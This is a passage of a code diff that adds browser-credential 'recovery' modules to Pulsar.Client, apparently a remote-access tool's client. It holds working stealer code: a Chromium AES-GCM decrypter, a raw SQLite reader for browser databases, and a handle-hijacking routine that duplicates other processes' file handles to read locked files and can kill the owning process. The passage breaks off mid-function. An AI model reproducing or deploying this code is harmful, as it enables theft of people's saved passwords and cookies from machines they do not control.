[DllImport("bcrypt.dll")] + public static extern uint BCryptDestroyKey(IntPtr hKey); + + [DllImport("bcrypt.dll")] + public static extern uint BCryptEncrypt(IntPtr hKey, + byte[] pbInput, + int cbInput, + ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, + byte[] pbIV, int cbIV, + byte[] pbOutput, + int cbOutput, + ref int pcbResult, + uint dwFlags); + + [DllImport("bcrypt.dll")] + internal static extern uint BCryptDecrypt(IntPtr hKey, + byte[] pbInput, + int cbInput, + ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, + byte[] pbIV, + int cbIV, + byte[] pbOutput, + int cbOutput, + ref int pcbResult, + int dwFlags); + } +} diff --git a/Pulsar.Client/Recovery/Utilities/ChromiumDecrypter.cs b/Pulsar.Client/Recovery/Utilities/ChromiumDecrypter.cs new file mode 100644 index 0000000..5faae1a --- /dev/null +++ b/Pulsar.Client/Recovery/Utilities/ChromiumDecrypter.cs @@ -0,0 +1,138 @@ +using System; +using System.Runtime.InteropServices; +using System.Security.Cryptography; +using System.Text; + +namespace Pulsar.Client.Recovery.Utilities +{ + public class AesGcmBetter + { + public byte[] Decrypt(byte[] key, byte[] iv, byte[] aad, byte[] cipherText, byte[] authTag) + { + IntPtr hAlg = OpenAlgorithmProvider(BCrypt.BCRYPT_AES_ALGORITHM, BCrypt.MS_PRIMITIVE_PROVIDER, BCrypt.BCRYPT_CHAIN_MODE_GCM); + IntPtr hKey, keyDataBuffer = ImportKey(hAlg, key, out hKey); + + byte[] plainText; + + var authInfo = new BCrypt.BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(iv, aad, authTag); + try + { + byte[] ivData = new byte[MaxAuthTagSize(hAlg)]; + + int plainTextSize = 0; + + uint status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, null, 0, ref plainTextSize, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() (get size) failed with status code: {0}", status)); + + plainText = new byte[plainTextSize]; + + status = BCrypt.BCryptDecrypt(hKey, cipherText, cipherText.Length, ref authInfo, ivData, ivData.Length, plainText, plainText.Length, ref plainTextSize, 0x0); + + if (status == BCrypt.STATUS_AUTH_TAG_MISMATCH) + return null; + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptDecrypt() failed with status code:{0}", status)); + } + finally + { + authInfo.Dispose(); + } + + BCrypt.BCryptDestroyKey(hKey); + Marshal.FreeHGlobal(keyDataBuffer); + BCrypt.BCryptCloseAlgorithmProvider(hAlg, 0x0); + + return plainText; + } + + private int MaxAuthTagSize(IntPtr hAlg) + { + byte[] tagLengthsValue = GetProperty(hAlg, BCrypt.BCRYPT_AUTH_TAG_LENGTH); + + return BitConverter.ToInt32(new[] { tagLengthsValue[4], tagLengthsValue[5], tagLengthsValue[6], tagLengthsValue[7] }, 0); + } + + private IntPtr OpenAlgorithmProvider(string alg, string provider, string chainingMode) + { + IntPtr hAlg = IntPtr.Zero; + + uint status = BCrypt.BCryptOpenAlgorithmProvider(out hAlg, alg, provider, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptOpenAlgorithmProvider() failed with status code:{0}", status)); + + byte[] chainMode = Encoding.Unicode.GetBytes(chainingMode); + status = BCrypt.BCryptSetAlgorithmProperty(hAlg, BCrypt.BCRYPT_CHAINING_MODE, chainMode, chainMode.Length, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptSetAlgorithmProperty(BCrypt.BCRYPT_CHAINING_MODE, BCrypt.BCRYPT_CHAIN_MODE_GCM) failed with status code:{0}", status)); + + return hAlg; + } + + private IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey) + { + byte[] objLength = GetProperty(hAlg, BCrypt.BCRYPT_OBJECT_LENGTH); + + int keyDataSize = BitConverter.ToInt32(objLength, 0); + + IntPtr keyDataBuffer = Marshal.AllocHGlobal(keyDataSize); + + byte[] keyBlob = Concat(BCrypt.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(0x1), BitConverter.GetBytes(key.Length), key); + + uint status = BCrypt.BCryptImportKey(hAlg, IntPtr.Zero, BCrypt.BCRYPT_KEY_DATA_BLOB, out hKey, keyDataBuffer, keyDataSize, keyBlob, keyBlob.Length, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptImportKey() failed with status code:{0}", status)); + + return keyDataBuffer; + } + + private byte[] GetProperty(IntPtr hAlg, string name) + { + int size = 0; + + uint status = BCrypt.BCryptGetProperty(hAlg, name, null, 0, ref size, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() (get size) failed with status code:{0}", status)); + + byte[] value = new byte[size]; + + status = BCrypt.BCryptGetProperty(hAlg, name, value, value.Length, ref size, 0x0); + + if (status != BCrypt.ERROR_SUCCESS) + throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() failed with status code:{0}", status)); + + return value; + } + + public byte[] Concat(params byte[][] arrays) + { + int len = 0; + + foreach (byte[] array in arrays) + { + if (array == null) + continue; + len += array.Length; + } + + byte[] result = new byte[len - 1 + 1]; + int offset = 0; + + foreach (byte[] array in arrays) + { + if (array == null) + continue; + Buffer.BlockCopy(array, 0, result, offset, array.Length); + offset += array.Length; + } + + return result; + } + } +} \ No newline at end of file diff --git a/Pulsar.Client/Recovery/Utilities/SQLiteHandler.cs b/Pulsar.Client/Recovery/Utilities/SQLiteHandler.cs new file mode 100644 index 0000000..b61b393 --- /dev/null +++ b/Pulsar.Client/Recovery/Utilities/SQLiteHandler.cs @@ -0,0 +1,479 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Runtime.InteropServices; +using System.Text; + +namespace Pulsar.Client.Recovery.Utilities +{ + public class SQLiteHandler + { + private byte[] db_bytes; + private ulong encoding; + private string[] field_names = new string[1]; + private sqlite_master_entry[] master_table_entries; + private ushort page_size; + private byte[] SQLDataTypeSize = new byte[] { 0, 1, 2, 3, 4, 6, 8, 8, 0, 0 }; + private table_entry[] table_entries; + + public SQLiteHandler(string baseName) + { + if (File.Exists(baseName)) + { + db_bytes = FileHandlerXeno.ForceReadFile(baseName); + if (db_bytes == null) + { + throw new Exception("Unable to read SQLite Database File"); + } + if (Encoding.Default.GetString(this.db_bytes, 0, 15).CompareTo("SQLite format 3") != 0) + { + throw new Exception("Not a valid SQLite 3 Database File"); + } + if (this.db_bytes[0x34] != 0) + { + throw new Exception("Auto-vacuum capable database is not supported"); + } + //if (decimal.Compare(new decimal(this.ConvertToInteger(0x2c, 4)), 4M) >= 0) + //{ + // throw new Exception("No supported Schema layer file-format"); + //} + this.page_size = (ushort)this.ConvertToInteger(0x10, 2); + this.encoding = this.ConvertToInteger(0x38, 4); + if (decimal.Compare(new decimal(this.encoding), decimal.Zero) == 0) + { + this.encoding = 1L; + } + this.ReadMasterTable(100L); + } + } + + private ulong ConvertToInteger(int startIndex, int Size) + { + if ((Size > 8) | (Size == 0)) + { + return 0L; + } + ulong num2 = 0L; + int num4 = Size - 1; + for (int i = 0; i <= num4; i++) + { + num2 = (num2 << 8) | this.db_bytes[startIndex + i]; + } + return num2; + } + + private long CVL(int startIndex, int endIndex) + { + endIndex++; + byte[] buffer = new byte[8]; + int num4 = endIndex - startIndex; + bool flag = false; + if ((num4 == 0) | (num4 > 9)) + { + return 0L; + } + if (num4 == 1) + { + buffer[0] = (byte)(this.db_bytes[startIndex] & 0x7f); + return BitConverter.ToInt64(buffer, 0); + } + if (num4 == 9) + { + flag = true; + } + int num2 = 1; + int num3 = 7; + int index = 0; + if (flag) + { + buffer[0] = this.db_bytes[endIndex - 1]; + endIndex--; + index = 1; + } + int num7 = startIndex; + for (int i = endIndex - 1; i >= num7; i += -1) + { + if ((i - 1) >= startIndex) + { + buffer[index] = (byte)((((byte)(this.db_bytes[i] >> ((num2 - 1) & 7))) & (((int)0xff) >> num2)) | ((byte)(this.db_bytes[i - 1] << (num3 & 7)))); + num2++; + index++; + num3--; + } + else if (!flag) + { + buffer[index] = (byte)(((byte)(this.db_bytes[i] >> ((num2 - 1) & 7))) & (((int)0xff) >> num2)); + } + } + return BitConverter.ToInt64(buffer, 0); + } + + public int GetRowCount() + { + return this.table_entries.Length; + } + + public string[] GetTableNames() + { + List tableNames = new List(); + int num3 = this.master_table_entries.Length - 1; + for (int i = 0; i <= num3; i++) + { + if (this.master_table_entries[i].item_type == "table") + { + tableNames.Add(this.master_table_entries[i].item_name); + } + } + return tableNames.ToArray(); + } + + public string GetValue(int row_num, int field) + { + if (row_num >= this.table_entries.Length) + { + return null; + } + if (field >= this.table_entries[row_num].content.Length) + { + return null; + } + return this.table_entries[row_num].content[field]; + } + + public string GetValue(int row_num, string field) + { + try + { + int num = -1; + int length = this.field_names.Length - 1; + for (int i = 0; i <= length; i++) + { + if (this.field_names[i].ToLower().CompareTo(field.ToLower()) == 0) + { + num = i; + break; + } + } + if (num == -1) + { + return null; + } + return this.GetValue(row_num, num); + } + catch (Exception e) + { + Debug.WriteLine(e); + return null; + } + } + + private int GVL(int startIndex) + { + if (startIndex > this.db_bytes.Length) + { + return 0; + } + int num3 = startIndex + 8; + for (int i = startIndex; i <= num3; i++) + { + if (i > (this.db_bytes.Length - 1)) + { + return 0; + } + if ((this.db_bytes[i] & 0x80) != 0x80) + { + return i; + } + } + return (startIndex + 8); + } + + private bool IsOdd(long value) + { + return ((value & 1L) == 1L); + } + + private void ReadMasterTable(ulong Offset) + { + if (this.db_bytes[(int)Offset] == 13) + { + ushort num2 = Convert.ToUInt16(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One)); + int length = 0; + if (this.master_table_entries != null) + { + length = this.master_table_entries.Length; + Array.Resize(ref master_table_entries, this.master_table_entries.Length + num2 + 1); + } + else + { + this.master_table_entries = new sqlite_master_entry[num2 + 1]; + } + int num13 = num2; + for (int i = 0; i <= num13; i++) + { + ulong num = this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2); + if (decimal.Compare(new decimal(Offset), 100M) != 0) + { + num += Offset; + } + int endIndex = this.GVL((int)num); + long num7 = this.CVL((int)num, endIndex); + int num6 = this.GVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One))); + this.master_table_entries[length + i].row_id = this.CVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), num6); + num = Convert.ToUInt64(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(num6), new decimal(num))), decimal.One)); + endIndex = this.GVL((int)num); + num6 = endIndex; + long num5 = this.CVL((int)num, endIndex); + long[] numArray = new long[5]; + int index = 0; + do + { + endIndex = num6 + 1; + num6 = this.GVL(endIndex); + numArray[index] = this.CVL(endIndex, num6); + if (numArray[index] > 9L) + { + if (this.IsOdd(numArray[index])) + { + numArray[index] = (long)Math.Round((double)(((double)(numArray[index] - 13L)) / 2.0)); + } + else + { + numArray[index] = (long)Math.Round((double)(((double)(numArray[index] - 12L)) / 2.0)); + } + } + else + { + numArray[index] = this.SQLDataTypeSize[(int)numArray[index]]; + } + index++; + } + while (index <= 4); + if (decimal.Compare(new decimal(this.encoding), decimal.One) == 0) + { + this.master_table_entries[length + i].item_type = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]); + } + else if (decimal.Compare(new decimal(this.encoding), 2M) == 0) + { + this.master_table_entries[length + i].item_type = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]); + } + else if (decimal.Compare(new decimal(this.encoding), 3M) == 0) + { + this.master_table_entries[length + i].item_type = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(new decimal(num), new decimal(num5))), (int)numArray[0]); + } + if (decimal.Compare(new decimal(this.encoding), decimal.One) == 0) + { + this.master_table_entries[length + i].item_name = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0]))), (int)numArray[1]); + } + else if (decimal.Compare(new decimal(this.encoding), 2M) == 0) + { + this.master_table_entries[length + i].item_name = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0]))), (int)numArray[1]); + } + else if (decimal.Compare(new decimal(this.encoding), 3M) == 0) + { + this.master_table_entries[length + i].item_name = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0]))), (int)numArray[1]); + } + this.master_table_entries[length + i].root_num = (long)this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2]))), (int)numArray[3]); + if (decimal.Compare(new decimal(this.encoding), decimal.One) == 0) + { + this.master_table_entries[length + i].sql_statement = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]); + } + else if (decimal.Compare(new decimal(this.encoding), 2M) == 0) + { + this.master_table_entries[length + i].sql_statement = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]); + } + else if (decimal.Compare(new decimal(this.encoding), 3M) == 0) + { + this.master_table_entries[length + i].sql_statement = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(decimal.Add(decimal.Add(decimal.Add(new decimal(num), new decimal(num5)), new decimal(numArray[0])), new decimal(numArray[1])), new decimal(numArray[2])), new decimal(numArray[3]))), (int)numArray[4]); + } + } + } + else if (this.db_bytes[(int)Offset] == 5) + { + ushort num11 = Convert.ToUInt16(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One)); + int num14 = num11; + for (int j = 0; j <= num14; j++) + { + ushort startIndex = (ushort)this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(j * 2))), 2); + if (decimal.Compare(new decimal(Offset), 100M) == 0) + { + this.ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger(startIndex, 4)), decimal.One), new decimal(this.page_size)))); + } + else + { + this.ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger((int)(Offset + startIndex), 4)), decimal.One), new decimal(this.page_size)))); + } + } + this.ReadMasterTable(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)), decimal.One), new decimal(this.page_size)))); + } + } + + public bool ReadTable(string TableName) + { + int index = -1; + int length = this.master_table_entries.Length - 1; + for (int i = 0; i <= length; i++) + { + if (this.master_table_entries[i].item_name.ToLower().CompareTo(TableName.ToLower()) == 0) + { + index = i; + break; + } + } + if (index == -1) + { + return false; + } + string[] strArray = this.master_table_entries[index].sql_statement.Substring(this.master_table_entries[index].sql_statement.IndexOf("(") + 1).Split(new char[] { ',' }); + int num6 = strArray.Length - 1; + for (int j = 0; j <= num6; j++) + { + strArray[j] = (strArray[j]).TrimStart(); + int num4 = strArray[j].IndexOf(" "); + if (num4 > 0) + { + strArray[j] = strArray[j].Substring(0, num4); + } + if (strArray[j].IndexOf("UNIQUE") == 0) + { + break; + } + + Array.Resize(ref field_names, j + 1); + this.field_names[j] = strArray[j]; + } + return this.ReadTableFromOffset((ulong)((this.master_table_entries[index].root_num - 1L) * this.page_size)); + } + + private bool ReadTableFromOffset(ulong Offset) + { + if (this.db_bytes[(int)Offset] == 13) + { + int num2 = Convert.ToInt32(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One)); + int length = 0; + if (this.table_entries != null) + { + length = this.table_entries.Length; + Array.Resize(ref this.table_entries, this.table_entries.Length + num2 + 1); + } + else + { + this.table_entries = new table_entry[num2 + 1]; + } + int num16 = num2; + for (int i = 0; i <= num16; i++) + { + record_header_field[] _fieldArray = new record_header_field[1]; + ulong num = this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 8M), new decimal(i * 2))), 2); + if (decimal.Compare(new decimal(Offset), 100M) != 0) + { + num += Offset; + } + int endIndex = this.GVL((int)num); + long num9 = this.CVL((int)num, endIndex); + int num8 = this.GVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One))); + this.table_entries[length + i].row_id = this.CVL(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(endIndex), new decimal(num))), decimal.One)), num8); + num = Convert.ToUInt64(decimal.Add(decimal.Add(new decimal(num), decimal.Subtract(new decimal(num8), new decimal(num))), decimal.One)); + endIndex = this.GVL((int)num); + num8 = endIndex; + long num7 = this.CVL((int)num, endIndex); + long num10 = Convert.ToInt64(decimal.Add(decimal.Subtract(new decimal(num), new decimal(endIndex)), decimal.One)); + for (int j = 0; num10 < num7; j++) + { + Array.Resize(ref _fieldArray, j + 1); + endIndex = num8 + 1; + num8 = this.GVL(endIndex); + _fieldArray[j].type = this.CVL(endIndex, num8); + if (_fieldArray[j].type > 9L) + { + if (this.IsOdd(_fieldArray[j].type)) + { + _fieldArray[j].size = (long)Math.Round((double)(((double)(_fieldArray[j].type - 13L)) / 2.0)); + } + else + { + _fieldArray[j].size = (long)Math.Round((double)(((double)(_fieldArray[j].type - 12L)) / 2.0)); + } + } + else + { + _fieldArray[j].size = this.SQLDataTypeSize[(int)_fieldArray[j].type]; + } + num10 = (num10 + (num8 - endIndex)) + 1L; + } + this.table_entries[length + i].content = new string[(_fieldArray.Length - 1) + 1]; + int num4 = 0; + int num17 = _fieldArray.Length - 1; + for (int k = 0; k <= num17; k++) + { + if (_fieldArray[k].type > 9L) + { + if (!this.IsOdd(_fieldArray[k].type)) + { + if (decimal.Compare(new decimal(this.encoding), decimal.One) == 0) + { + this.table_entries[length + i].content[k] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size); + } + else if (decimal.Compare(new decimal(this.encoding), 2M) == 0) + { + this.table_entries[length + i].content[k] = Encoding.Unicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size); + } + else if (decimal.Compare(new decimal(this.encoding), 3M) == 0) + { + this.table_entries[length + i].content[k] = Encoding.BigEndianUnicode.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size); + } + } + else + { + this.table_entries[length + i].content[k] = Encoding.Default.GetString(this.db_bytes, Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size); + } + } + else + { + this.table_entries[length + i].content[k] = Convert.ToString(this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(num), new decimal(num7)), new decimal(num4))), (int)_fieldArray[k].size)); + } + num4 += (int)_fieldArray[k].size; + } + } + } + else if (this.db_bytes[(int)Offset] == 5) + { + ushort num14 = Convert.ToUInt16(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 3M)), 2)), decimal.One)); + int num18 = num14; + for (int m = 0; m <= num18; m++) + { + ushort num13 = (ushort)this.ConvertToInteger(Convert.ToInt32(decimal.Add(decimal.Add(new decimal(Offset), 12M), new decimal(m * 2))), 2); + this.ReadTableFromOffset(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger((int)(Offset + num13), 4)), decimal.One), new decimal(this.page_size)))); + } + this.ReadTableFromOffset(Convert.ToUInt64(decimal.Multiply(decimal.Subtract(new decimal(this.ConvertToInteger(Convert.ToInt32(decimal.Add(new decimal(Offset), 8M)), 4)), decimal.One), new decimal(this.page_size)))); + } + return true; + } + + [StructLayout(LayoutKind.Sequential)] + private struct record_header_field + { + public long size; + public long type; + } + + [StructLayout(LayoutKind.Sequential)] + private struct sqlite_master_entry + { + public long row_id; + public string item_type; + public string item_name; + public string astable_name; + public long root_num; + public string sql_statement; + } + + [StructLayout(LayoutKind.Sequential)] + private struct table_entry + { + public long row_id; + public string[] content; + } + } +} diff --git a/Pulsar.Client/Recovery/Utilities/Xeno/.DS_Store b/Pulsar.Client/Recovery/Utilities/Xeno/.DS_Store new file mode 100644 index 0000000..5008ddf Binary files /dev/null and b/Pulsar.Client/Recovery/Utilities/Xeno/.DS_Store differ diff --git a/Pulsar.Client/Recovery/Utilities/Xeno/FileHandlerXeno.cs b/Pulsar.Client/Recovery/Utilities/Xeno/FileHandlerXeno.cs new file mode 100644 index 0000000..35f7f04 --- /dev/null +++ b/Pulsar.Client/Recovery/Utilities/Xeno/FileHandlerXeno.cs @@ -0,0 +1,687 @@ +using Pulsar.Client.Recovery.Utilities.Xeno; +using System; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using static Pulsar.Client.Recovery.Utilities.Xeno.InternalStructsXeno; + +class FileHandlerXeno +{ + private static InternalStructsXeno.SYSTEM_HANDLE_INFORMATION_EX? pGlobal_SystemHandleInfo = null; + private static IntPtr pGlobal_SystemHandleInfoBuffer = IntPtr.Zero; + + public static string GetPathFromHandle(IntPtr file) + { + uint FILE_NAME_NORMALIZED = 0x0; + + StringBuilder FileNameBuilder = new StringBuilder(32767 + 2);//+2 for a possible null byte? + uint pathLen = NativeMethodsXeno.GetFinalPathNameByHandleW(file, FileNameBuilder, (uint)FileNameBuilder.Capacity, FILE_NAME_NORMALIZED); + if (pathLen == 0) + { + return null; + } + string FileName = FileNameBuilder.ToString(0, (int)pathLen); + return FileName; + } + + public static bool DupHandle(int sourceProc, IntPtr sourceHandle, out IntPtr newHandle) + { + newHandle = IntPtr.Zero; + uint PROCESS_DUP_HANDLE = 0x0040; + uint DUPLICATE_SAME_ACCESS = 0x00000002; + IntPtr procHandle = NativeMethodsXeno.OpenProcess(PROCESS_DUP_HANDLE, false, (uint)sourceProc); + if (procHandle == IntPtr.Zero) + { + return false; + } + + IntPtr targetHandle = IntPtr.Zero; + + if (!NativeMethodsXeno.DuplicateHandle(procHandle, sourceHandle, NativeMethodsXeno.GetCurrentProcess(), ref targetHandle, 0, false, DUPLICATE_SAME_ACCESS)) + { + NativeMethodsXeno.CloseHandle(procHandle); + return false; + + } + newHandle = targetHandle; + NativeMethodsXeno.CloseHandle(procHandle); + return true; + } + + public static byte[] ReadFileBytesFromHandle(IntPtr handle) + { + uint PAGE_READONLY = 0x02; + uint FILE_MAP_READ = 0x04; + IntPtr fileMapping = NativeMethodsXeno.CreateFileMappingA(handle, IntPtr.Zero, PAGE_READONLY, 0, 0, null); + if (fileMapping == IntPtr.Zero) + { + return null; + } + + if (!NativeMethodsXeno.GetFileSizeEx(handle, out ulong fileSize)) + { + NativeMethodsXeno.CloseHandle(fileMapping); + return null; + } + + IntPtr BaseAddress = NativeMethodsXeno.MapViewOfFile(fileMapping, FILE_MAP_READ, 0, 0, (UIntPtr)fileSize); + if (BaseAddress == IntPtr.Zero) + { + NativeMethodsXeno.CloseHandle(fileMapping); + return null; + } + + byte[] FileData = new byte[fileSize]; + + Marshal.Copy(BaseAddress, FileData, 0, (int)fileSize); + + NativeMethodsXeno.UnmapViewOfFile(BaseAddress); + NativeMethodsXeno.CloseHandle(fileMapping); + + return FileData; + } + + public static bool KillProcess(int pid, uint exitcode = 0) + { + uint PROCESS_TERMINATE = 0x0001; + IntPtr ProcessHandle = NativeMethodsXeno.OpenProcess(PROCESS_TERMINATE, false, (uint)pid); + if (ProcessHandle == IntPtr.Zero) + { + return false; + } + + bool result = NativeMethodsXeno.TerminateProcess(ProcessHandle, exitcode); + NativeMethodsXeno.CloseHandle(ProcessHandle); + return result; + } + + public static string ForceReadFileString(string filePath, bool killOwningProcessIfCouldntAquire = false) + { + byte[] fileContent = ForceReadFile(filePath, killOwningProcessIfCouldntAquire); + if (fileContent == null) + { + return null; + } + try + { + return Encoding.UTF8.GetString(fileContent); + } + catch + { + } + return null; + } + + public static bool GetProcessLockingFile(string filePath, out int[] process) + { + process = null; + uint ERROR_MORE_DATA = 0xEA; + + string key = Guid.NewGuid().ToString(); + if (NativeMethodsXeno.RmStartSession(out uint SessionHandle, 0, key) != 0) + { + return false; + } + + string[] resourcesToCheckAgaist = new string[] { filePath }; + if (NativeMethodsXeno.RmRegisterResources(SessionHandle, (uint)resourcesToCheckAgaist.Length, resourcesToCheckAgaist, 0, null, 0, null) != 0) + { + NativeMethodsXeno.RmEndSession(SessionHandle); + return false; + } + + + + while (true) + { + uint nProcInfo = 0; + uint status = NativeMethodsXeno.RmGetList(SessionHandle, out uint nProcInfoNeeded, ref nProcInfo, null, out RM_REBOOT_REASON RebootReasions); + if (status != ERROR_MORE_DATA) + { + NativeMethodsXeno.RmEndSession(SessionHandle); + process = new int[0]; + return true; + } + uint oldnProcInfoNeeded = nProcInfoNeeded; + RM_PROCESS_INFO[] AffectedApps = new RM_PROCESS_INFO[nProcInfoNeeded]; + nProcInfo = nProcInfoNeeded; + status = NativeMethodsXeno.RmGetList(SessionHandle, out nProcInfoNeeded, ref nProcInfo, AffectedApps, out RebootReasions); + if (status == 0) + { + process = new int[AffectedApps.Length]; + for (int i = 0; i < AffectedApps.Length; i++) + { + process[i] = (int)AffectedApps[i].Process.dwProcessId; + } + break; + } + if (oldnProcInfoNeeded != nProcInfoNeeded) + { + continue; + } + else + { + NativeMethodsXeno.RmEndSession(SessionHandle); + return false; + } + } + NativeMethodsXeno.RmEndSession(SessionHandle); + return true; + } + + public static byte[] ForceReadFile(string filePath, bool killOwningProcessIfCouldntAquire = false) + { + try + { + return File.ReadAllBytes(filePath); + } + catch (Exception e) + { + if (e.HResult != -2147024864) //this is the error for if the file is being used by another process + { + return null; + } + } + + bool Pidless = false; + + if (!GetProcessLockingFile(filePath, out int[] process)) + { + Pidless = true; + } + + uint dwSize = 0; + uint status = 0; + uint STATUS_INFO_LENGTH_MISMATCH = 0xC0000004; + + + int HandleStructSize = Marshal.SizeOf(typeof(InternalStructsXeno.SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX)); + + IntPtr pInfo = Marshal.AllocHGlobal(HandleStructSize); + do + { + status = NativeMethodsXeno.NtQuerySystemInformation(InternalStructsXeno.SYSTEM_INFORMATION_CLASS.SystemExtendedHandleInformation, pInfo, dwSize, out dwSize); + if (status == STATUS_INFO_LENGTH_MISMATCH) + { + pInfo = Marshal.ReAllocHGlobal(pInfo, (IntPtr)dwSize); + } + } while (status != 0); + + + //ULONG_PTR NumberOfHandles; + //ULONG_PTR Reserved; + //SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1]; + + IntPtr pInfoBackup = pInfo; + + ulong NumOfHandles = (ulong)Marshal.ReadIntPtr(pInfo); + + pInfo += 2 * IntPtr.Size;//skip past the number of handles and the reserved and start at the handles. + + byte[] result = null; + + for (ulong i = 0; i < NumOfHandles; i++) + { + InternalStructsXeno.SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX HandleInfo = Marshal.PtrToStructure(pInfo + (int)(i * (uint)HandleStructSize)); + + + if (!Pidless && !process.Contains((int)(uint)HandleInfo.UniqueProcessId)) + { + continue; + } + + + if (DupHandle((int)HandleInfo.UniqueProcessId, (IntPtr)(ulong)HandleInfo.HandleValue, out IntPtr duppedHandle)) + { + if (NativeMethodsXeno.GetFileType(duppedHandle) != InternalStructsXeno.FileType.FILE_TYPE_DISK) + { + NativeMethodsXeno.CloseHandle(duppedHandle); + continue; + } + + string name = GetPathFromHandle(duppedHandle); + + if (name == null) + { + NativeMethodsXeno.CloseHandle(duppedHandle); + continue; + } + + if (name.StartsWith("\\\\?\\")) + { + name = name.Substring(4); + } + + if (name == filePath) + { + result = ReadFileBytesFromHandle(duppedHandle); + NativeMethodsXeno.CloseHandle(duppedHandle); + if (result != null) + { + break; + } + } + + NativeMethodsXeno.CloseHandle(duppedHandle); + + } + + + } + Marshal.FreeHGlobal(pInfoBackup); + + if (result == null && killOwningProcessIfCouldntAquire) + { + foreach (int i in process) + { + KillProcess(i); + } + + try + { + result = File.ReadAllBytes(filePath); + } + catch + { + } + + } + + return result; + } + + //AI translated C code. https://web.archive.org/web/20240122161954/https://www.x86matthew.com/view_post?id=hijack_file_handle + public static bool GetFileHandleObjectType(out uint pdwFileHandleObjectType) + { + pdwFileHandleObjectType = 0; + + // get the file path of the current exe 